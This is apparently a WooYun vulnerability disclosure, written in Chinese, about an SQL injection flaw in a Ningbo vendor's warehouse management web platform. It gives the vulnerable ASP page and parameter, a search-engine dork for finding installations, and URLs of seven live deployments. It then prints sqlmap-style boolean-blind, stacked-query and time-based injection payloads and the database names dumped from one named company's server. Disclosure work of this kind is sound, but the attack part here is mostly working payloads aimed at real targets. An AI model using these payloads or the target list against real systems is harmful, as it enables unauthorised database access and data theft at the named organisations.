WooYun.org

系统名称：英赛特仓储管理系统互联网客户服务平台
系统开发厂商：宁波市江东英赛特软件有限公司
系统架构：ASP+MSSQL
关键字：inurl:csccmise

漏洞文件：csccmise/cczp.asp?xhid=33208
注入参数：xhid
应要求，枚举部分案例如下：
http://www.bluedragon.com.cn/csccmise/cczp.asp?xhid=33208
http://www.cclcfs.com:81/csccmise/cczp.asp?xhid=33208
http://122.227.235.122/csccmise/cczp.asp?xhid=33208
http://nbrywl.com/csccmise/cczp.asp?xhid=33208
http://61.175.235.81:88/csccmise/cczp.asp?xhid=33208
http://60.190.16.166/csccmise/cczp.asp?xhid=33208
http://www.nhcc-cn.com/csccmise/cczp.asp?xhid=33208
等
漏洞验证：
这里以http://www.bluedragon.com.cn/csccmise/cczp.asp?xhid=33208为例：

Place: GET
Parameter: xhid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: xhid=33208 AND 5011=5011&xh=CAXU6294760'
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: xhid=33208; WAITFOR DELAY '0:0:5'--&xh=CAXU6294760'
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: xhid=33208 WAITFOR DELAY '0:0:5'--&xh=CAXU6294760'
---

数据库信息：

available databases [9]:
[*] csccmis
[*] csccmis_log
[*] csccxg
[*] csccxg_log
[*] insight
[*] master
[*] model
[*] msdb
[*] tempdb
其他可如上！